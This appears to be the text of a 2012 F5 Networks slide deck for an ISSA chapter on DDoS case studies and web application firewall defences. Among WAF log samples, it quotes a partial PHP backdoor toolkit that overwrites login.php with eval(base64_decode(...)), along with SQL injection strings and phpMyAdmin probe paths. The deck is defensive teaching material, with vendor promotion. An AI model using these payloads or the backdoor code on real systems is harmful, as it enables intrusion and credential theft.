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Introductions 

  

•Ben Harder – f5 Networks 

•David Remington – f5 Networks 

 

A Special Thank You to Ron Shuck and the Wichita 

ISSA Chapter. 
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Some definitions: 

 
Blended Attack: Buzz word du jour. Like a Margarita. Lots of 

ingredients but a single mixologist.  

 

But what is the tequila and what is just the lime…? 

  

3DoS/DDDoS: “Diverse Distributed Denial of Service”. 

A denial of service attack targeting multiple stack components 

simultaneously: 

• L3/L4: Syn Floods, UDP Floods, ICMP Floods 

• DNS Floods 

• SSL Floods 

• L7 webserver attacks (L6.9?) (Slowloris, HTTP Slow Post) 

• L7 app stack attacks (Post of Doom) 

• L7 targeted attacks (??? What is broken in *your* app?) 



We are here because Attack 

is easier than Defense. 
 

 

 

 

 

And Cheaper… And Cooler? 
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• Attacked by politically motivated state-sponsored actor. 

• Two-pronged attack: L4 connection flooding and encrypted 

L7 DDoS attack with randomized payloads. 

 

Vectors for possible DoS: 

a. UDP Flood to take out network devices. 

b. SSL Flood to overwhelm systems. 

c. L7 Attack to consume Server cycles. 

 

• Defenses in place included dynamic IPS, various network 

devices, network firewall and BIGIP with ASM. 

3DoS Case Study:  

International Financial Organization 

Presented to Central Plains ISSA on April 6, 2012 



• Defenses in place included dynamic IPS, various network 

devices, network firewall and f5 BIGIP with ASM (WAF). 

• Sequence of events: 

a. L4 DoS (UDP Flood) knocks out an intermediary network 

device. Site down. 

b. Once device is replaced with more capable system the rest 

of the attack becomes clear. 

c. IPS able to be tuned to assist with L4 but blind to L7 attack 

(SSL, Random payload) 

d. SSL Flood handled by high speed co-processing capacity 

e. ASM dynamically detects L7 attack and dynamically 

mitigates. 
 

Current status. Still under attack. BIGIP with ASM mitigating 

the sustained attack with ~25% CPU utilization.  

3DoS Case Study:  

International Financial Organization 
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A Day in the Life of 

a Web App Firewall 
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From Spain: 
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Non-Compliant 

HTTP 
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Decoded: 
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Another instance: 
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Another (tiny) probe: 
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Another (tiny) probe: 
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Another (tiny) probe: 
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From the same host: 
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 04:42:45  Canada 72.10.168.50  [HTTPS] /admin/scripts/setup.php 
 04:42:45  Canada 72.10.168.50  [HTTPS] /mysql/scripts/setup.php 
 04:42:45  Canada 72.10.168.50  [HTTPS] /pma/scripts/setup.php 
 04:42:44  Canada 72.10.168.50  [HTTPS] /db/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /scripts/setup.php 
 04:42:44  Canada 72.10.168.50  [HTTPS] /sql/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /web/scripts/setup.php 
 04:42:44  Canada 72.10.168.50  [HTTPS] /myadmin/scripts/setup.php 

 
…etc 
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Code Injection 
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Probing for code 

injection vulnerabilities: 

Checking for access to /proc/self/environ 
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PHP Injection attempt: 
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Enabling Authentication on the 

Server: 
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Server: 
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Enabling Authentication on the 

Server: 
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PHP Toolkit: 
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Decoded a couple of times: 
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$pwd_admin = ereg_replace('/images','/admin', $system_pwd); 

if (chdir($pwd_admin)) { 

 if (is_writable($pwd_admin)) { 

  if (is_writable('categories.php')) { 

   unlink('categories.php'); 

   $new_categories     = "<?php 

header(location:'http://www.google.com'); ?>"; 

   $patch_categories   = fopen('categories.php','w'); 

   $write_categories   = fwrite('categories.php',"$new_categories"); 

   $response_categories= "[-] Categories Patched"; 

  } 

  else { $response_categories = "[-] Unable to patch Categories"; } 

  if (is_writable('login.php')) { 

   $backdoor_login = "<?php eval(base64_decode('if 

($HTTP_POST_VARS['username']) { 

  

 $write = ($HTTP_POST_VARS['username']); 

 pass_write($write); 

} 
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Attack Summary 

Works with any directory structure – targeted for PHP 

specifically, but can work on any vulnerable app 

Uses a variety of methods to  

backdoor the server,  

Add passwords,  

enumerate users  

Potentially difficult to spot in logs 
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SQL Injection: 
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GET /__utm.gif?utmwv=1&utmn=137576902&utmcs=UTF-
8&utmsr=1280x800&utmsc=32-bit&utmul=en-

us&utmje=1&utmfl=10.2%20r154&utmcn=1&utmr=http://
www.<removed>.com/SELECT%20id%20FROM%20log
ins%20WHERE%20username='admin'AND%20passwor

d='anything'OR'x'='x'%22;&utmp=/ HTTP/1.0 
Cookie: 

____utmz=245999259.1303780682.1.1.utmccn=(referral
)|utmcsr=<removed>.com|utmcct=/SELECT%20id%20F
ROM%20logins%20WHERE%20username='admin'AND

%20password='anything'OR'x'='x'%22 
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SQL Injection: 

GET /__utm.gif?utmwv=1&utmn=137576902&utmcs=UTF-
8&utmsr=1280x800&utmsc=32-bit&utmul=en-

us&utmje=1&utmfl=10.2%20r154&utmcn=1&utmr=http://
www.<removed>.com/SELECT%20id%20FROM%20log
ins%20WHERE%20username='admin'AND%20passwor

d='anything'OR'x'='x'%22;&utmp=/ HTTP/1.0 
Cookie: 

____utmz=245999259.1303780682.1.1.utmccn=(referral
)|utmcsr=<removed>.com|utmcct=/SELECT%20id%20F
ROM%20logins%20WHERE%20username='admin'AND

%20password='anything'OR'x'='x'%22 



Presented to Central Plains ISSA on April 6, 2012 

The Crowd 

And while all this other stuff was 

going on…. 
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Attacks overview 
 
Network flood attacks:  

High PPS attacks: extremely high SYN flood and UDP flood 
attack rates hit victim sites = bottlenecks 

Oversized ICMP and UDP frames intended to consume 
bandwidth 

Fragmented and corrupted UDP frames intended to consume 
more resources on application delivery equipment;  

Connection flood attacks: targeting the server TCP stack 
resources;  

Application flood attacks:  
HTTP page request floods targeting crafted URLs;  
HTTP data floods;  
Crafted Layer7 TCP attacks such as SlowLoris, slow POST  
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The Attack: 

Normal production load for our Target is 60K HTTP 

requests per second 
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The Attack 
Initial peak at 1.5million HTTP requests per second 

Volumes then rose to around 4m RPS during “official” 

attack period 

Anonymous announced that the attack had ended 

Attack then rose to 15 million RPS! Anonymous were 

not directly controlling the attack  

Several major spikes when large botnets and university 

labs joined the attack 

Peak measured at 350 x normal production load! 

=> 35,000% increase 
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How does Slowloris 

work? 
Opens connections to web server (very little bandwidth 

required) 

Begins to send request...  
...One header at a time...  

...Very Slowly...  

...Never ends... 

 

Server holds connection open indefinitely, and runs out 

of available connection pool.  

Result – server is unavailable. No error logs during 

attack.  
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Reason attack was 

mitigated: 

F5 TMOS Hardened Reverse proxy handles 

incoming requests. 

 

Unfinished request from Slowloris exceeds 

limits on HTTP profile and is dropped.  
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HTTP Slow POST  

Similar concept to SlowLoris, but POST with large 

payload is uploaded extremely slowly. 

Large number of concurrent connections consume 

memory on host 
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TCP (Reverse) Proxy 

Connections are terminated on a TCP proxy stack. 

Tuned for application performance – requires 

advanced options negotiated during 3-way 

handshake. 
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SYN Cookie  
During SYN flood attack: 
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During SYN Flood 

attack:  

SYN Cookies work very well, but... 

Advanced TCP Options are not possible when SYN 

Cookies activated. 

This is why it is ideal to have a threshold for activation 

This is where a TCP acceleration proxy may have 

advantages over server operating systems eg BSD, 

Solaris, Windows 
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Stack tuning tips: 

Lower the default TCP connection timeouts in the TCP 

profile. 

Lower the Reaper percents from low 85 / high 95 to low 

75 / high 90.  This means fewer connections held 

open, but means the proxy will be more aggressive 

cleaning out idle connections during a TCP connection 

flood. 
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HTTP Profile tuning tips: 

Analyze the typical and maximum HTTP header size, 

including cookies, that should legitimately be seen.  

The default maximum on LTM is 32k.  This should be 

lowered if your average is 4k and max possible is 8k.  

In this example, setting the max header size to 16 

should adequately ensure no false positives (resulting 

in rejected connections), while helping to ensure a 

number of HTTP header based DoS attacks are better 

handled. 
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Layer 7 DoS/DDos 

mitigation 
TPS vs Latency detection  
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Some Broader 

Trends 
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Where From? 
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How Many Attacks? 
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Reason for Blocking: 



Humorous Interlude…. 
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Humorous Interlude…. 
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Now, a walk-through 

of a complex Attack 

 

HB Gary 
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http://www.hbgaryfederal.com/pages.php?pageNav=2&

page=27 
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pageNav=2&page=27 
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Rainbow Tables 
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Aaron Barr - CEO 

Ted Vera - COO 
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Six lower case letters 

Two numbers 

Presented to Central Plains ISSA on April 6, 2012 



Google “Password Reuse” 
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Password Reuse 
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support.hbgary.com 
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Privilege Escalation 
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The Result 



Aarons Password 
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Aarons Password 
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A Social Situation 
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Okay kids, what did 

we learn today??? 

 There is.. 

No such Thing as… 

 a Low Priority Web App 
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Let’s turn to Defense 

 

First some Best 

Practices 

 
“The Ultimate Aim of Martial Arts is not having to use them.”  

-Miyamoto Musashi, The Book of Five Rings 
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Do not abandon traditional network and 

application security 
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Think Strategically to Reduce your Vulnerability 

Profile 

Much like a military strategist, you will benefit 

from advanced planning and strategic thought 

about your security. You cannot prevent attacks, 

but you can pick the battlefield: 

• Hide your resources. 

• Think like a defender.  

• Assume they know everything. 

• Use “terrain” that slows attackers down. 

• Prepare the field of battle.  

• Assume that you will be outnumbered. 

• The cavalry will be late. 

At the Battle of Bannockburn, Robert the Bruce, King of the Scots, was able to defeat an 

English army superior in every way because of careful preparation and a thorough 

understanding of both armies. He reduced his vulnerabilities by careful preparation of the field 

in advance and used the prevalent terrain to deny the English their huge advantage in 

mobility and numbers. The consequences of defeat were unacceptable. 

 

Luckily, in IT “heads will roll” is purely metaphorical. Mostly… 
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Deploy Modern Defenses for 

Modern Threats 
• High Capacity DDoS Migitation Platform 
• Web Application Firewall 
• Security Information and Event Monitoring 
• Next-Gen VPN and Web Application 

Gateway 
• Vulnerability Scanning (SAST, DAST) 
• A CIRT with Strong AppSec Skills 

 
No Single Vendor Excels in All of these!  

 
You need an integration strategy and 

flexible, interoperable tools. 
 

And last, but definitely not least: 
Smart, Well-Trained People 

 
Like, perhaps one of F5’s Expert Security 

Partners? 
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What to look for in a 

WAF? 



Automated Policy 

Learning 

• Automatically build and manage 

policies 

• Use bi-directional Traffic Flows 

• Statistics and Heuristics Engine 

• Site Updates 
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Resource Cloaking 
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Resource Cloaking 
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High-Performance 

• Dedicated, purpose built hardware 

• Avoid virtual solutions (for now) 

• SSL off-load, eats CPU 
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DDoS Protection 

• If they can’t hack it, they can bring it 

down 

• Should be L2 - L7 aware 

• L7 means having some idea of the 

sessions (context) 

• “Slow Post” attacks, contradiction to 

normal DoS tactics. 
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RFC Enforcement 

• Just because you can, doesn’t mean 

you should be able to 

• Don’t trust the Application Server to do 

the job 

• Defense in Depth 
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Signature Based 

• Rumors of signature’s death have been 

greatly exaggerated 

• Still serve good, first pass 

• If we know it’s bad from the start, why 

let them in any further? 
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Signature Staging 

• Still a common source of false positives 

• Should have the ability to stage and 

report before locking down 
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Encrypted Cookie 

Support 
• Don’t trust the user 

• Another form of 

parameter manipulation 

• Encrypt cookie to user, 

protect details on WAF 

• Leave the application 

alone 
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Preconfigured 

Policies 
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• It should be easy to get COTS apps up 

and running 

• No sense in re-inventing the wheel 

• Get 90% there, and tighten the other 

10% 

Preconfigured 

Policies 
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Parameter Evaluation 
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Parameter Evaluation 
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Parameter Evaluation 

Presented to Central Plains ISSA on April 6, 2012 



Parameter Evaluation 

• Don’t trust the user 

• The WAF should know better 
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Automated Scanner / 

Bot Mitigation 

• Who is driving the browser? 

• Whitelist “good” bots, like Google, 

Yahoo, etc... 

• Don’t just look at the User-Agent 

header 
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User & Context 

Awareness 

• Integration with Web Access Gateway 

• Web Authentication Protection and 

Awareness 

• Brute Force and Harvesting Protection 
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Geolocation 

• Know your audience 

• “Where” is important 
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Protection from 

Rogue Users 

• If they’re doing bad things, stop them 

from doing other bad things 

• Don’t just protect the crown jewels 
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Content Inspection 

• Bi-directional inspection 

• Server responses JUST AS 

IMPORTANT 

• Look for data leakage, what should 

NEVER leave 

• ICAP support for Anti-Virus and Anti-

Malware 
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Check Responses in 

addition to Requests 

• I know, it sounds like a broken record 

• Who cares if the users input looks valid 

if it’s generating 500 Error messages? 
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XML  & JSON 

Protection 

• A WAF should understand XML and 

JSON 

• Apply security policies, sanity checks 

• Interact gracefully with Web 2.0 Apps 

and Mobile Apps 
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Flexible and 

Extensible 

• A dynamic defense requires a 

programatic flexibility. 

• If your main or only mechanism is to 

add a signature there are many attacks 

you cannot mitigate. 
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Easy to Troubleshoot 
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Reporting 



OWASP Top 10 

• A1-Injection 

• A2-Cross Site Scripting (XSS) 

• A3-Broken Authentication and Session 

Management 

• A4-Insecure Direct Object References 

• A5-Cross Site Request Forgery (CSRF) 
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OWASP Top 10 

• A6-Security Misconfiguration 

• A7-Insecure Cryptographic Storage 

• A8-Failure to Restrict URL Access 

• A9-Insufficient Transport Layer 

Protection 

• A10-Unvalidated Redirects and 

Forwards 
Presented to Central Plains ISSA on April 6, 2012 



Addressing the Vulnerabilities:  

Web Application Firewalls, Web Access 

Gateways 

 Full proxy WAF 

(proxy, inspect, rewrite) 

Web Access Gateway 

( encrypt, sso, aaa) 
Attack Signature mitigation 

(inspect, generic) 
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Questions? 
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Thank You 


